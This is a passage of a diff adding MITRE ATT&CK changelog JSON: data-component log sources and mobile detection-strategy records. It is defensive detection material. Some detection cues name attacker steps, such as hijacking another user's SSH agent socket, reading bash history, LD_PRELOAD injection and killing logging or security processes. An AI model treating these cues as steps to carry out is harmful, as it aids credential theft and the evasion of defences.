"channel": "subsystem=com.apple.TCC" + }, + { + "name": "macos:unifiedlog", + "channel": "exec of binary with setuid/setgid and EUID != UID" + }, + { + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "name": "auditd:SYSCALL", + "channel": "Use of fork/exec with DISPLAY unset or redirected" + }, + { + "name": "EDR:Telemetry", + "channel": "Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log API calls reading/altering time/ntp settings" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, prctl, or ptrace activity affecting process memory or command-line arguments" + }, + { + "name": "linux:osquery", + "channel": "Cross-reference argv[0] with actual executable path and parent process metadata" + }, + { + "name": "WinEventLog:AppLocker", + "channel": "AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy" + }, + { + "name": "EDR:hunting", + "channel": "Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)" + }, + { + "name": "WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode", + "channel": "ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads" + }, + { + "name": "etw:Microsoft-Windows-ClickOnce", + "channel": "provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational", + "channel": "Process session start/stop events for camera pipeline by unexpected executables" + }, + { + "name": "linux:osquery", + "channel": "select: path LIKE '/dev/video%'" + }, + { + "name": "linux:osquery", + "channel": "state=attached/debugged" + }, + { + "name": "macos:unifiedlog", + "channel": "Code Execution & Entitlement Access" + }, + { + "name": "macos:unifiedlog", + "channel": "Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID" + }, + { + "name": "macos:unifiedlog", + "channel": "code signature/memory protection" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with UID \u2260 EUID" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with escalated privileges" + }, + { + "name": "AWS:CloudTrail", + "channel": "cross-account or unexpected assume role" + }, + { + "name": "macos:unifiedlog", + "channel": "log collect from launchd and process start" + }, + { + "name": "containerd:events", + "channel": "Docker or containerd image pulls and process executions" + }, + { + "name": "linux:syslog", + "channel": "Kernel or daemon warnings of downgraded TLS or cryptographic settings" + }, + { + "name": "macos:unifiedlog", + "channel": "Modifications or writes to EFI system partition for downgraded bootloaders" + }, + { + "name": "macos:unifiedlog", + "channel": "non-shell process tree accessing bash history" + }, + { + "name": "linux:osquery", + "channel": "process metadata mismatch between /proc and runtime attributes" + }, + { + "name": "linux:osquery", + "channel": "process environment variables containing LD_PRELOAD" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=400,403" + }, + { + "name": "macos:osquery", + "channel": "Process Execution + Hash" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "process_start: EventHeader.ProcessId true parent vs reported PPID mismatch" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned/invalid signature modules or images loaded by msbuild.exe or its children" + }, + { + "name": "WinEventLog:Microsoft-Windows-DeviceGuard/Operational", + "channel": "WDAC policy audit/block affecting msbuild.exe spawned payloads" + }, + { + "name": "WinEventLog:Microsoft-Windows-SmartAppControl/Operational", + "channel": "Smart App Control decisions (audit/block) for msbuild.exe-launched executables" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or untrusted modules loaded during JamPlus.exe runtime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0034\", \"external_id\": \"DC0034\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.process\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo or service accounts invoking loaders with suspicious env vars\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Context\"}, {\"name\": \"esxi:auth\", \"channel\": \"user session\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Admin activity\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call for sudo where euid != uid\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.TCC\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec of binary with setuid/setgid and EUID != UID\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Use of fork/exec with DISPLAY unset or redirected\"}, {\"name\": \"EDR:Telemetry\", \"channel\": \"Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log API calls reading/altering time/ntp settings\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, prctl, or ptrace activity affecting process memory or command-line arguments\"}, {\"name\": \"linux:osquery\", \"channel\": \"Cross-reference argv[0] with actual executable path and parent process metadata\"}, {\"name\": \"WinEventLog:AppLocker\", \"channel\": \"AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode\", \"channel\": \"ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads\"}, {\"name\": \"etw:Microsoft-Windows-ClickOnce\", \"channel\": \"provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational\", \"channel\": \"Process session start/stop events for camera pipeline by unexpected executables\"}, {\"name\": \"linux:osquery\", \"channel\": \"select: path LIKE '/dev/video%'\"}, {\"name\": \"linux:osquery\", \"channel\": \"state=attached/debugged\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code Execution & Entitlement Access\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"code signature/memory protection\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with UID \\u2260 EUID\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with escalated privileges\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"cross-account or unexpected assume role\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log collect from launchd and process start\"}, {\"name\": \"containerd:events\", \"channel\": \"Docker or containerd image pulls and process executions\"}, {\"name\": \"linux:syslog\", \"channel\": \"Kernel or daemon warnings of downgraded TLS or cryptographic settings\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modifications or writes to EFI system partition for downgraded bootloaders\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"non-shell process tree accessing bash history\"}, {\"name\": \"linux:osquery\", \"channel\": \"process metadata mismatch between /proc and runtime attributes\"}, {\"name\": \"linux:osquery\", \"channel\": \"process environment variables containing LD_PRELOAD\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=400,403\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Execution + Hash\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"process_start: EventHeader.ProcessId true parent vs reported PPID mismatch\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned/invalid signature modules or images loaded by msbuild.exe or its children\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DeviceGuard/Operational\", \"channel\": \"WDAC policy audit/block affecting msbuild.exe spawned payloads\"}, {\"name\": \"WinEventLog:Microsoft-Windows-SmartAppControl/Operational\", \"channel\": \"Smart App Control decisions (audit/block) for msbuild.exe-launched executables\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"Unsigned or untrusted modules loaded during JamPlus.exe runtime\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.331000+00:00\", \"old_value\": \"2025-04-18 15:10:37.873000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:36.181000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0033", + "external_id": "DC0033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Termination", + "description": "The exit or termination of a running process on a system. This can occur due to normal operations, user-initiated commands, or malicious actions such as process termination by malware to disable security controls.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - Monitor process termination events.\n- Windows Event Logs:\n - Event ID 4689 (Process Termination) \u2013 Captures when a process exits, including process ID and parent process.\n - Event ID 7036 (Service Control Manager) \u2013 Monitors system service stops.\n- Sysmon (Windows):\n - Event ID 5 (Process Termination) \u2013 Detects when a process exits, including parent-child relationships.\n- Linux/macOS Monitoring:\n - AuditD (`execve`, `exit_group`, `kill` syscalls) \u2013 Captures process termination via command-line interactions.\n - eBPF/XDP: Monitors low-level system calls related to process termination.\n - OSQuery: The processes table can be queried for abnormal exits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=5" + }, + { + "name": "linux:syslog", + "channel": "Unexpected termination of daemons or critical services not aligned with admin change tickets" + }, + { + "name": "macos:osquery", + "channel": "process_termination: Unexpected termination of processes tied to vulnerable or high-value services" + }, + { + "name": "esxi:hostd", + "channel": "Log entries indicating VM powered off or forcibly terminated" + }, + { + "name": "macos:unifiedlog", + "channel": "Terminal process killed (killall Terminal) immediately after sudoers modification" + }, + { + "name": "auditd:SYSCALL", + "channel": "exit_group" + }, + { + "name": "macos:unifiedlog", + "channel": "process.*exit.*code" + }, + { + "name": "linux:osquery", + "channel": "unexpected termination of syslog or rsyslog processes" + }, + { + "name": "auditd:SYSCALL", + "channel": "Process segfault or abnormal termination after invoking vulnerable syscall sequence" + }, + { + "name": "auditd:SYSCALL", + "channel": "kill syscalls targeting logging/security processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Termination of syspolicyd or XProtect processes" + }, + { + "name": "docker:runtime", + "channel": "Termination of monitoring sidecar or security container" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0033\", \"external_id\": \"DC0033\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=5\"}, {\"name\": \"linux:syslog\", \"channel\": \"Unexpected termination of daemons or critical services not aligned with admin change tickets\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_termination: Unexpected termination of processes tied to vulnerable or high-value services\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Log entries indicating VM powered off or forcibly terminated\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Terminal process killed (killall Terminal) immediately after sudoers modification\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"exit_group\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process.*exit.*code\"}, {\"name\": \"linux:osquery\", \"channel\": \"unexpected termination of syslog or rsyslog processes\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Process segfault or abnormal termination after invoking vulnerable syscall sequence\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"kill syscalls targeting logging/security processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Termination of syspolicyd or XProtect processes\"}, {\"name\": \"docker:runtime\", \"channel\": \"Termination of monitoring sidecar or security container\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.181000+00:00\", \"old_value\": \"2025-04-18 15:10:34.519000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--6c62144a-cd5c-401c-ada9-58c4c74cd9d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 20:00:38.029000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0115", + "external_id": "DC0115" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Protected Configuration", + "description": "Device configuration options that are not typically utilized by benign applications", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0115\", \"external_id\": \"DC0115\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Application Vetting\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:22.260000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--bf0ff551-a5a7-40e5-bff9-f9405011b1f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 20:47:52.557000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0117", + "external_id": "DC0117" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "System Notifications", + "description": "Notifications generated by the OS", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0117\", \"external_id\": \"DC0117\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"User Interface\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:22.106000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 20:48:14.540000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0118", + "external_id": "DC0118" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "System Settings", + "description": "Settings visible to the user on the device", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0118\", \"external_id\": \"DC0118\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"User Interface\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:21.541000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + } + ], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "detectionstrategies": { + "additions": [ + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0c7e55b4-57b2-4a0f-ba0e-f50eab1a95f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0697", + "external_id": "DET0697" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Abuse Accessibility Features", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7d2231b0-d62e-4d5f-bc26-99e7f14ec741" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9bfe6e65-c691-44fa-9d00-bf7fd5e6479f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0642", + "external_id": "DET0642" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Abuse Elevation Control Mechanism", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--31542445-39c5-4ae9-806f-09649581056a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--84e15e6c-ddc1-40a0-8e46-ba5605b6345b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0611", + "external_id": "DET0611" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Access Notifications", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--462f9ed4-5b6b-4426-b383-cd331f2984c0" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--78eb87ae-c606-41cc-b133-b02eb35fb54d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0605", + "external_id": "DET0605" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Account Access Removal", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dd7242e8-12d5-46b4-bc2c-cff6c2dbaa27" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--98f14414-883e-4da3-930a-19a8faa1be41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0635", + "external_id": "DET0635" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6bd50b74-5852-4800-b459-1c54d95348e3", + "x-mitre-analytic--cbb3d486-b7a3-44f0-a7c7-e2fbf668f6fa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7a96a921-48bc-4fcf-b6b8-86a96315d4ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0623", + "external_id": "DET0623" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Adversary-in-the-Middle", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--384bbe3f-bb48-4bf3-927e-3a95d13eae82", + "x-mitre-analytic--36ca4ab8-1a16-4989-89e6-8d20c514c8c7" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a6da6dc3-19fe-4d1c-ab77-843c08377a19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0685", + "external_id": "DET0685" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Application Layer Protocol", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d11da2b2-1552-4a54-b268-3df1cb877cf6", + "x-mitre-analytic--9396ec3f-2189-44d1-9c88-53ee3603236c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--debfadd8-1df0-43b1-ae16-5f893dfc8bf3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0652", + "external_id": "DET0652" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Application Versioning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3fe80400-0e8c-4ffa-8233-cebf7511613c", + "x-mitre-analytic--095c16b2-3d9a-445a-82a4-fa7affd928f5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b66555c6-297c-4769-affe-8f268b7c3c78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0670", + "external_id": "DET0670" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Archive Collected Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bfa12b75-13ab-409f-8fe9-a93c8bcac466", + "x-mitre-analytic--1e72355d-3350-4b60-8c92-2ded50a3fdd1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bce77859-548a-4ee7-8002-a05b182bb5ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 